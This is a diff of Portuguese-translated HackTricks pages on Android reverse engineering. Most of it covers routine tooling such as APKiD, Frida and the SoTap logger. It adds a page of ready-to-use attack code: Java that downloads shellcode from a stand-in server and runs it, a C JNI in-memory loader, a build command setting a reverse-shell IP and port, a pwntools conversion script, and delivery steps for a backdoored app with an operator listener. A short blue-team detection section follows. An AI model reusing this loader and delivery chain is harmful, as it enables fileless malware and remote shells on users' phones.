É um **deofuscador android genérico.** Simplify **executa virtualmente um app** para entender seu comportamento e então **tenta otimizar o código** para que ele se comporte de forma idêntica, mas seja mais fácil para um humano entender. Cada tipo de otimização é simples e genérico, então não importa qual tipo específico de ofuscação foi usado.
|
||||
|
||||
### [APKiD](https://github.com/rednaga/APKiD)
|
||||
|
||||
APKiD te dá informação sobre **como um APK foi feito**. Identifica muitos **compilers**, **packers**, **obfuscators**, e outras coisas estranhas. É o [_PEiD_](https://www.aldeid.com/wiki/PEiD) para Android.
|
||||
APKiD fornece informações sobre **como um APK foi feito**. Identifica muitos **compilers**, **packers**, **obfuscators**, e outras coisas estranhas. É o [_PEiD_](https://www.aldeid.com/wiki/PEiD) para Android.
|
||||
|
||||
### Manual
|
||||
|
||||
[Read this tutorial to learn some tricks on **how to reverse custom obfuscation**](manual-deobfuscation.md)
|
||||
[Leia este tutorial para aprender alguns truques sobre **como reverter ofuscação personalizada**](manual-deobfuscation.md)
|
||||
|
||||
## Labs
|
||||
|
||||
### [Androl4b](https://github.com/sh4hin/Androl4b)
|
||||
|
||||
AndroL4b é uma máquina virtual de segurança Android baseada em ubuntu-mate que inclui a coleção dos mais recentes frameworks, tutoriais e labs de diferentes geeks e pesquisadores de segurança para reverse engineering e análise de malware.
|
||||
AndroL4b é uma máquina virtual de segurança Android baseada em ubuntu-mate que inclui a coleção dos frameworks, tutoriais e labs mais recentes de diferentes geeks e pesquisadores de segurança para reverse engineering e análise de malware.
|
||||
|
||||
## Referências
|
||||
## References
|
||||
|
||||
- [https://owasp.org/www-project-mobile-app-security/](https://owasp.org/www-project-mobile-app-security/)
|
||||
- [https://appsecwiki.com/#/](https://appsecwiki.com/#/) É uma ótima lista de recursos
|
||||
- [https://maddiestone.github.io/AndroidAppRE/](https://maddiestone.github.io/AndroidAppRE/) Curso rápido de Android
|
||||
- [https://manifestsecurity.com/android-application-security/](https://manifestsecurity.com/android-application-security/)
|
||||
- [https://github.com/Ralireza/Android-Security-Teryaagh](https://github.com/Ralireza/Android-Security-Teryaagh)
|
||||
- [https://www.youtube.com/watch?v=PMKnPaGWxtg\&feature=youtu.be\&ab_channel=B3nacSec](https://www.youtube.com/watch?v=PMKnPaGWxtg&feature=youtu.be&ab_channel=B3nacSec)
|
||||
- [https://www.youtube.com/watch?v=PMKnPaGWxtg&feature=youtu.be&ab_channel=B3nacSec](https://www.youtube.com/watch?v=PMKnPaGWxtg&feature=youtu.be&ab_channel=B3nacSec)
|
||||
- [SSLPinDetect: Advanced SSL Pinning Detection for Android Security Analysis](https://petruknisme.medium.com/sslpindetect-advanced-ssl-pinning-detection-for-android-security-analysis-1390e9eca097)
|
||||
- [SSLPinDetect GitHub](https://github.com/aancw/SSLPinDetect)
|
||||
- [smali-sslpin-patterns](https://github.com/aancw/smali-sslpin-patterns)
|
||||
- [Build a Repeatable Android Bug Bounty Lab: Emulator vs Magisk, Burp, Frida, and Medusa](https://www.yeswehack.com/learn-bug-bounty/android-lab-mobile-hacking-tools)
|
||||
|
||||
## Ainda a testar
|
||||
|
||||
- [https://www.vegabird.com/yaazhini/](https://www.vegabird.com/yaazhini/)
|
||||
- [https://github.com/abhi-r3v0/Adhrit](https://github.com/abhi-r3v0/Adhrit)
|
||||
- [CoRPhone — Android in-memory JNI execution and packaging pipeline](https://github.com/0xdevil/corphone)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -0,0 +1,121 @@
|
||||
# Execução de Código Nativo em Memória no Android via JNI (shellcode)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
Esta página documenta um padrão prático para executar native payloads totalmente em memória a partir de um processo de app Android não confiável usando JNI. O fluxo evita criar qualquer binário nativo no disco: baixar bytes brutos do shellcode via HTTP(S), passá-los para uma JNI bridge, alocar memória RX e pular para ela.
|
||||
|
||||
Por que isso importa
|
||||
- Reduz artefatos forenses (sem ELF no disco)
|
||||
- Compatível com native payloads “stage-2” gerados a partir de um exploit binário ELF
|
||||
- Corresponde ao tradecraft usado por malware moderno e red teams
|
||||
|
||||
Padrão de alto nível
|
||||
1) Buscar os bytes do shellcode em Java/Kotlin
|
||||
2) Chamar um método nativo (JNI) com o array de bytes
|
||||
3) Em JNI: alocar memória RW → copiar bytes → mprotect para RX → chamar entrypoint
|
||||
|
||||
Exemplo mínimo
|
||||
|
||||
Java/Kotlin side
|
||||
```java
|
||||
public final class NativeExec {
|
||||
static { System.loadLibrary("nativeexec"); }
|
||||
public static native int run(byte[] sc);
|
||||
}
|
||||
|
||||
// Download and execute (simplified)
|
||||
byte[] sc = new java.net.URL("https://your-server/sc").openStream().readAllBytes();
|
||||
int rc = NativeExec.run(sc);
|
||||
```
|
||||
Lado C/JNI (arm64/amd64)
|
||||
```c
|
||||
#include <jni.h>
|
||||
#include <sys/mman.h>
|
||||
#include <string.h>
|
||||
#include <unistd.h>
|
||||
|
||||
static inline void flush_icache(void *p, size_t len) {
|
||||
__builtin___clear_cache((char*)p, (char*)p + len);
|
||||
}
|
||||
|
||||
JNIEXPORT jint JNICALL
|
||||
Java_com_example_NativeExec_run(JNIEnv *env, jclass cls, jbyteArray sc) {
|
||||
jsize len = (*env)->GetArrayLength(env, sc);
|
||||
if (len <= 0) return -1;
|
||||
|
||||
// RW anonymous buffer
|
||||
void *buf = mmap(NULL, len, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
|
||||
if (buf == MAP_FAILED) return -2;
|
||||
|
||||
jboolean isCopy = 0;
|
||||
jbyte *bytes = (*env)->GetByteArrayElements(env, sc, &isCopy);
|
||||
if (!bytes) { munmap(buf, len); return -3; }
|
||||
|
||||
memcpy(buf, bytes, len);
|
||||
(*env)->ReleaseByteArrayElements(env, sc, bytes, JNI_ABORT);
|
||||
|
||||
// Make RX and execute
|
||||
if (mprotect(buf, len, PROT_READ | PROT_EXEC) != 0) { munmap(buf, len); return -4; }
|
||||
flush_icache(buf, len);
|
||||
|
||||
int (*entry)(void) = (int (*)(void))buf;
|
||||
int ret = entry();
|
||||
|
||||
// Optional: restore RW and wipe
|
||||
mprotect(buf, len, PROT_READ | PROT_WRITE);
|
||||
memset(buf, 0, len);
|
||||
munmap(buf, len);
|
||||
return ret;
|
||||
}
|
||||
```
|
||||
Notes and caveats
|
||||
- W^X/execmem: O Android moderno impõe W^X; mapeamentos anônimos PROT_EXEC ainda são geralmente permitidos para processos de app com JIT (sujeito à política SELinux). Alguns dispositivos/ROMs restringem isso; recorra a JIT-allocated exec pools ou native bridges quando necessário.
|
||||
- Architectures: Garanta que a arquitetura do shellcode corresponda ao dispositivo (arm64-v8a comumente; x86 somente em emuladores).
|
||||
- Entrypoint contract: Decida uma convenção para a entrada do seu shellcode (no args vs ponteiro para estrutura). Mantenha-o independente de posição (PIC).
|
||||
- Stability: Limpe o cache de instruções antes de saltar; cache desalinhado pode travar em ARM.
|
||||
|
||||
Packaging ELF → position‑independent shellcode
|
||||
Uma pipeline robusta é:
|
||||
- Compile seu exploit como um ELF estático com musl-gcc
|
||||
- Converta o ELF em um self‑loading shellcode blob usando pwntools’ shellcraft.loader_append
|
||||
|
||||
Build
|
||||
```bash
|
||||
musl-gcc -O3 -s -static -fno-pic -o exploit exploit.c \
|
||||
-DREV_SHELL_IP="\"10.10.14.2\"" -DREV_SHELL_PORT="\"4444\""
|
||||
```
|
||||
Transformar ELF para raw shellcode (exemplo amd64)
|
||||
```python
|
||||
# exp2sc.py
|
||||
from pwn import *
|
||||
context.clear(arch='amd64')
|
||||
elf = ELF('./exploit')
|
||||
loader = shellcraft.loader_append(elf.data, arch='amd64')
|
||||
sc = asm(loader)
|
||||
open('sc','wb').write(sc)
|
||||
print(f"ELF size={len(elf.data)}, shellcode size={len(sc)}")
|
||||
```
|
||||
Por que loader_append funciona: ele emite um tiny loader que mapeia os segmentos de programa ELF embutidos na memória e transfere o controle para seu entrypoint, fornecendo um único raw blob que pode ser memcpy’ed e executado pelo app.
|
||||
|
||||
Delivery
|
||||
- Hospede sc em um servidor HTTP(S) que você controla
|
||||
- O backdoored/test app baixa sc e invoca a JNI bridge mostrada acima
|
||||
- Escute na sua máquina de operador por qualquer conexão reversa que o payload kernel/user-mode estabelecer
|
||||
|
||||
Validation workflow for kernel payloads
|
||||
- Use um vmlinux simbolizado para reversing rápido/recuperação de offsets
|
||||
- Prototipe primitivas em uma imagem de debug conveniente se disponível, mas sempre re‑valide no alvo Android real (kallsyms, KASLR slide, page-table layout, and mitigations differ)
|
||||
|
||||
Hardening/Detection (blue team)
|
||||
- Proibir PROT_EXEC anônimo em domínios de app quando possível (SELinux policy)
|
||||
- Aplicar integridade de código rígida (no dynamic native loading from network) e validar canais de atualização
|
||||
- Monitorar transições suspeitas mmap/mprotect para RX e grandes cópias de byte-array precedendo jumps
|
||||
|
||||
References
|
||||
- [CoRPhone challenge repo (Android kernel pwn; JNI memory-only loader pattern)](https://github.com/0xdevil/corphone)
|
||||
- [build.sh (musl-gcc + pwntools pipeline)](https://raw.githubusercontent.com/0xdevil/corphone/main/exploit/build.sh)
|
||||
- [exp2sc.py (pwntools shellcraft.loader_append)](https://raw.githubusercontent.com/0xdevil/corphone/main/exploit/exp2sc.py)
|
||||
- [exploit.c TL;DR (operator/kernel flow, offsets, reverse shell)](https://raw.githubusercontent.com/0xdevil/corphone/main/exploit/exploit.c)
|
||||
- [INSTRUCTIONS.md (setup notes)](https://github.com/0xdevil/corphone/blob/main/INSTRUCTIONS.md)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
@ -1,50 +1,50 @@
|
||||
# Reversing Native Libraries
|
||||
# Reversão de Bibliotecas Nativas
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
**For further information check:** [**https://maddiestone.github.io/AndroidAppRE/reversing_native_libs.html**](https://maddiestone.github.io/AndroidAppRE/reversing_native_libs.html)
|
||||
**Para mais informações, confira:** [**https://maddiestone.github.io/AndroidAppRE/reversing_native_libs.html**](https://maddiestone.github.io/AndroidAppRE/reversing_native_libs.html)
|
||||
|
||||
Android apps podem usar native libraries, tipicamente escritas em C ou C++, para tarefas que exigem desempenho. Criadores de malware também abusam dessas bibliotecas porque ELF shared objects ainda são mais difíceis de decompilar que byte-code DEX/OAT.
|
||||
Esta página foca em workflows *práticos* e melhorias de tooling *recentes* (2023-2025) que tornam o reversing de arquivos `.so` do Android mais fácil.
|
||||
Aplicativos Android podem usar bibliotecas nativas, tipicamente escritas em C ou C++, para tarefas críticas de desempenho. Criadores de malware também abusam dessas bibliotecas porque ELF shared objects ainda são mais difíceis de decompilar do que byte-code DEX/OAT.
|
||||
Esta página foca em fluxos de trabalho *práticos* e melhorias recentes de ferramentas (2023-2025) que tornam mais fácil reverter arquivos `.so` do Android.
|
||||
|
||||
---
|
||||
|
||||
### Quick triage-workflow for a freshly pulled `libfoo.so`
|
||||
### Fluxo rápido de triagem para um `libfoo.so` recém-extraído
|
||||
|
||||
1. **Extract the library**
|
||||
1. **Extrair a biblioteca**
|
||||
```bash
|
||||
# From an installed application
|
||||
adb shell "run-as <pkg> cat lib/arm64-v8a/libfoo.so" > libfoo.so
|
||||
# Or from the APK (zip)
|
||||
unzip -j target.apk "lib/*/libfoo.so" -d extracted_libs/
|
||||
```
|
||||
2. **Identify architecture & protections**
|
||||
2. **Identificar arquitetura & proteções**
|
||||
```bash
|
||||
file libfoo.so # arm64 or arm32 / x86
|
||||
readelf -h libfoo.so # OS ABI, PIE, NX, RELRO, etc.
|
||||
checksec --file libfoo.so # (peda/pwntools)
|
||||
```
|
||||
3. **List exported symbols & JNI bindings**
|
||||
3. **Listar símbolos exportados & bindings JNI**
|
||||
```bash
|
||||
readelf -s libfoo.so | grep ' Java_' # dynamic-linked JNI
|
||||
strings libfoo.so | grep -i "RegisterNatives" -n # static-registered JNI
|
||||
```
|
||||
4. **Load in a decompiler** (Ghidra ≥ 11.0, IDA Pro, Binary Ninja, Hopper or Cutter/Rizin) and run auto-analysis.
|
||||
Newer Ghidra versions introduced an AArch64 decompiler that recognises PAC/BTI stubs and MTE tags, greatly improving analysis of libraries built with the Android 14 NDK.
|
||||
5. **Decide on static vs dynamic reversing:** stripped, obfuscated code often needs *instrumentation* (Frida, ptrace/gdbserver, LLDB).
|
||||
4. **Carregar em um decompiler** (Ghidra ≥ 11.0, IDA Pro, Binary Ninja, Hopper or Cutter/Rizin) e rodar a análise automática.
|
||||
Versões mais recentes do Ghidra introduziram um decompiler AArch64 que reconhece PAC/BTI stubs e MTE tags, melhorando bastante a análise de bibliotecas construídas com o NDK do Android 14.
|
||||
5. **Decidir entre reversing estático vs dinâmico:** código stripped/obfuscado frequentemente precisa de *instrumentation* (Frida, ptrace/gdbserver, LLDB).
|
||||
|
||||
---
|
||||
|
||||
### Dynamic Instrumentation (Frida ≥ 16)
|
||||
### Instrumentação Dinâmica (Frida ≥ 16)
|
||||
|
||||
Frida’s 16-series trouxe várias melhorias específicas para Android que ajudam quando o alvo usa otimizações modernas do Clang/LLD:
|
||||
A série 16 do Frida trouxe várias melhorias específicas para Android que ajudam quando o alvo usa otimizações modernas do Clang/LLD:
|
||||
|
||||
* `thumb-relocator` agora pode *hook tiny ARM/Thumb functions* geradas pelo alinhamento agressivo do LLD (`--icf=all`).
|
||||
* A enumeração e rebind de *ELF import slots* funciona no Android, permitindo patching por módulo com `dlopen()`/`dlsym()` quando hooks inline são rejeitados.
|
||||
* Enumerar e rebinding *ELF import slots* funciona no Android, permitindo patching por módulo via `dlopen()`/`dlsym()` quando inline hooks são rejeitados.
|
||||
* Java hooking foi corrigido para o novo **ART quick-entrypoint** usado quando apps são compilados com `--enable-optimizations` no Android 14.
|
||||
|
||||
Example: enumerating all functions registered through `RegisterNatives` and dumping their addresses at runtime:
|
||||
Exemplo: enumerar todas as funções registradas via `RegisterNatives` e despejar seus endereços em tempo de execução:
|
||||
```javascript
|
||||
Java.perform(function () {
|
||||
var Runtime = Java.use('java.lang.Runtime');
|
||||
@ -61,29 +61,29 @@ console.log('[+] RegisterNatives on ' + clazz.getName() + ' -> ' + count + ' met
|
||||
});
|
||||
});
|
||||
```
|
||||
Frida will work out of the box on PAC/BTI-enabled devices (Pixel 8/Android 14+) as long as you use frida-server 16.2 or later – earlier versions failed to locate o preenchimento para inline hooks.
|
||||
Frida will work out of the box on PAC/BTI-enabled devices (Pixel 8/Android 14+) as long as you use frida-server 16.2 or later – earlier versions failed to locate padding for inline hooks.
|
||||
|
||||
### Telemetria JNI local ao processo via .so pré-carregado (SoTap)
|
||||
|
||||
Quando uma instrumentação completa é overkill ou bloqueada, você ainda pode obter visibilidade em nível nativo pré-carregando um pequeno logger dentro do processo alvo. SoTap é uma biblioteca nativa Android leve (.so) que registra o comportamento em tempo de execução de outras bibliotecas JNI (.so) dentro do mesmo processo do app (não é necessário root).
|
||||
Quando instrumentação completa é exagero ou está bloqueada, você ainda pode obter visibilidade em nível nativo pré-carregando um pequeno logger dentro do processo alvo. SoTap é uma biblioteca nativa Android leve (.so) que registra o comportamento em tempo de execução de outras bibliotecas JNI (.so) dentro do mesmo processo do app (não requer root).
|
||||
|
||||
Principais propriedades:
|
||||
- Inicializa cedo e observa interações JNI/native dentro do processo que a carrega.
|
||||
- Persiste logs usando múltiplos caminhos graváveis com fallback gracioso para Logcat quando o armazenamento está restrito.
|
||||
- Personalizável no código-fonte: edite sotap.c para estender/ajustar o que é registrado e recompile por ABI.
|
||||
Propriedades principais:
|
||||
- Inicializa cedo e observa interações JNI/native dentro do processo que o carrega.
|
||||
- Persiste logs usando múltiplos caminhos graváveis com fallback gracioso para o Logcat quando o armazenamento estiver restrito.
|
||||
- Customizável na fonte: edite sotap.c para estender/ajustar o que é logado e reconstrua para cada ABI.
|
||||
|
||||
Configuração (reempacotar o APK):
|
||||
1) Coloque o build ABI apropriado dentro do APK para que o loader possa resolver libsotap.so:
|
||||
1) Drop the proper ABI build into the APK so the loader can resolve libsotap.so:
|
||||
- lib/arm64-v8a/libsotap.so (for arm64)
|
||||
- lib/armeabi-v7a/libsotap.so (for arm32)
|
||||
2) Garanta que o SoTap seja carregado antes de outras libs JNI. Injete uma chamada cedo (por exemplo, inicializador estático da subclasse Application ou onCreate) para que o logger seja inicializado primeiro. Exemplo de trecho Smali:
|
||||
2) Ensure SoTap loads before other JNI libs. Inject a call early (e.g., Application subclass static initializer or onCreate) so the logger is initialized first. Smali snippet example:
|
||||
```smali
|
||||
const-string v0, "sotap"
|
||||
invoke-static {v0}, Ljava/lang/System;->loadLibrary(Ljava/lang/String;)V
|
||||
```
|
||||
3) Recompile/assine/instale, execute o app e então colete os logs.
|
||||
3) Reconstrua/assine/instale, execute o app, e então colete os logs.
|
||||
|
||||
Caminhos de log (verificados em ordem):
|
||||
Caminhos de log (verificados nesta ordem):
|
||||
```
|
||||
/data/user/0/%s/files/sotap.log
|
||||
/data/data/%s/files/sotap.log
|
||||
@ -92,30 +92,40 @@ Caminhos de log (verificados em ordem):
|
||||
# If all fail: fallback to Logcat only
|
||||
```
|
||||
Notas e solução de problemas:
|
||||
- O alinhamento de ABI é obrigatório. Uma incompatibilidade causará UnsatisfiedLinkError e o logger não será carregado.
|
||||
- Restrições de armazenamento são comuns no Android moderno; se gravações de arquivo falharem, SoTap ainda emitirá via Logcat.
|
||||
- Comportamento/verbosidade deve ser personalizado; reconstrua a partir do código-fonte após editar sotap.c.
|
||||
- Alinhamento de ABI é obrigatório. Uma incompatibilidade causará UnsatisfiedLinkError e o logger não será carregado.
|
||||
- Restrições de armazenamento são comuns em Android modernos; se gravações de arquivo falharem, SoTap ainda emitirá via Logcat.
|
||||
- Comportamento/verbosidade deve ser customizado; reconstrua a partir do código-fonte após editar sotap.c.
|
||||
|
||||
Essa abordagem é útil para triagem de malware e depuração JNI, onde observar fluxos de chamadas nativas desde o início do processo é crítico, mas root/ganchos em todo o sistema não estão disponíveis.
|
||||
Esta abordagem é útil para triagem de malware e depuração JNI quando observar fluxos de chamadas nativas desde o início do processo é crítico, mas hooks em root/sistema não estão disponíveis.
|
||||
|
||||
---
|
||||
|
||||
### Vulnerabilidades recentes que valem a pena procurar em APKs
|
||||
### See also: in‑memory native code execution via JNI
|
||||
|
||||
| Year | CVE | Affected library | Notes |
|
||||
Um padrão comum de ataque é baixar um blob de shellcode bruto em tempo de execução e executá-lo diretamente da memória através de uma ponte JNI (sem ELF no disco). Detalhes e snippet JNI pronto para uso aqui:
|
||||
|
||||
{{#ref}}
|
||||
in-memory-jni-shellcode-execution.md
|
||||
{{#endref}}
|
||||
|
||||
---
|
||||
|
||||
### Recent vulnerabilities worth hunting for in APKs
|
||||
|
||||
| Ano | CVE | Biblioteca afetada | Notas |
|
||||
|------|-----|------------------|-------|
|
||||
|2023|CVE-2023-4863|`libwebp` ≤ 1.3.1|Heap buffer overflow alcançável a partir de código nativo que decodifica imagens WebP. Vários apps Android empacotam versões vulneráveis. Quando você encontrar um `libwebp.so` dentro de um APK, verifique sua versão e tente exploração ou correção.| |
|
||||
|2024|Multiple|OpenSSL 3.x series|Várias questões de segurança de memória e padding-oracle. Muitos bundles Flutter & ReactNative incluem seu próprio `libcrypto.so`.|
|
||||
|2023|CVE-2023-4863|`libwebp` ≤ 1.3.1|Heap buffer overflow alcançável a partir de código nativo que decodifica imagens WebP. Vários apps Android empacotam versões vulneráveis. Quando você vê um `libwebp.so` dentro de um APK, verifique sua versão e tente exploração ou patch.| |
|
||||
|2024|Multiple|OpenSSL 3.x series|Vários problemas de memory-safety e padding-oracle. Muitos bundles Flutter & ReactNative distribuem seu próprio `libcrypto.so`.| |
|
||||
|
||||
Quando você identificar arquivos `.so` de *third-party* dentro de um APK, sempre confira seu hash contra advisories upstream. SCA (Software Composition Analysis) é incomum em mobile, então builds vulneráveis e desatualizados são comuns.
|
||||
Quando você encontra arquivos `.so` de terceiros dentro de um APK, sempre verifique o hash deles contra advisories upstream. SCA (Software Composition Analysis) é incomum em mobile, então builds vulneráveis e desatualizados são frequentes.
|
||||
|
||||
---
|
||||
|
||||
### Tendências de Anti-Reversing & Hardening (Android 13-15)
|
||||
### Anti-Reversing & Hardening trends (Android 13-15)
|
||||
|
||||
* **Pointer Authentication (PAC) & Branch Target Identification (BTI):** Android 14 habilita PAC/BTI em system libraries em silicon ARMv8.3+ suportado. Decompiladores agora mostram pseudo-instruções relacionadas a PAC; para análise dinâmica o Frida injeta trampolines *após* remover o PAC, mas seus trampolines customizados devem chamar `pacda`/`autibsp` quando necessário.
|
||||
* **MTE & Scudo hardened allocator:** a marcação de memória (memory-tagging) é opt-in, mas muitos apps compatíveis com Play-Integrity são buildados com `-fsanitize=memtag`; use `setprop arm64.memtag.dump 1` mais `adb shell am start ...` para capturar tag faults.
|
||||
* **LLVM Obfuscator (opaque predicates, control-flow flattening):** packers comerciais (ex.: Bangcle, SecNeo) protegem cada vez mais código *native*, não apenas Java; espere fluxo de controle falso e blobs de strings criptografadas em `.rodata`.
|
||||
* **Pointer Authentication (PAC) & Branch Target Identification (BTI):** Android 14 habilita PAC/BTI em bibliotecas do sistema em silicon ARMv8.3+ suportado. Decompilers agora exibem pseudo-instruções relacionadas a PAC; para análise dinâmica o Frida injeta trampolines *after* stripping PAC, mas seus trampolines customizados devem chamar `pacda`/`autibsp` quando necessário.
|
||||
* **MTE & Scudo hardened allocator:** memory-tagging é opt-in, mas muitos apps com Play-Integrity compilam com `-fsanitize=memtag`; use `setprop arm64.memtag.dump 1` mais `adb shell am start ...` para capturar falhas de tag.
|
||||
* **LLVM Obfuscator (opaque predicates, control-flow flattening):** packers comerciais (e.g., Bangcle, SecNeo) protegem cada vez mais *native* code, não apenas Java; espere bogus control-flow e blobs de strings encriptados em `.rodata`.
|
||||
|
||||
---
|
||||
|
||||
@ -127,10 +137,11 @@ Quando você identificar arquivos `.so` de *third-party* dentro de um APK, sempr
|
||||
|
||||
### References
|
||||
|
||||
- Changelog do Frida 16.x (Android hooking, tiny-function relocation) – [frida.re/news](https://frida.re/news/)
|
||||
- Aviso NVD para overflow de `libwebp` CVE-2023-4863 – [nvd.nist.gov](https://nvd.nist.gov/vuln/detail/CVE-2023-4863)
|
||||
- Frida 16.x change-log (Android hooking, tiny-function relocation) – [frida.re/news](https://frida.re/news/)
|
||||
- NVD advisory for `libwebp` overflow CVE-2023-4863 – [nvd.nist.gov](https://nvd.nist.gov/vuln/detail/CVE-2023-4863)
|
||||
- SoTap: Lightweight in-app JNI (.so) behavior logger – [github.com/RezaArbabBot/SoTap](https://github.com/RezaArbabBot/SoTap)
|
||||
- SoTap Releases – [github.com/RezaArbabBot/SoTap/releases](https://github.com/RezaArbabBot/SoTap/releases)
|
||||
- How to work with SoTap? – [t.me/ForYouTillEnd/13](https://t.me/ForYouTillEnd/13)
|
||||
- [CoRPhone — JNI memory-only execution pattern and packaging](https://github.com/0xdevil/corphone)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
Loading…
x
Reference in New Issue
Block a user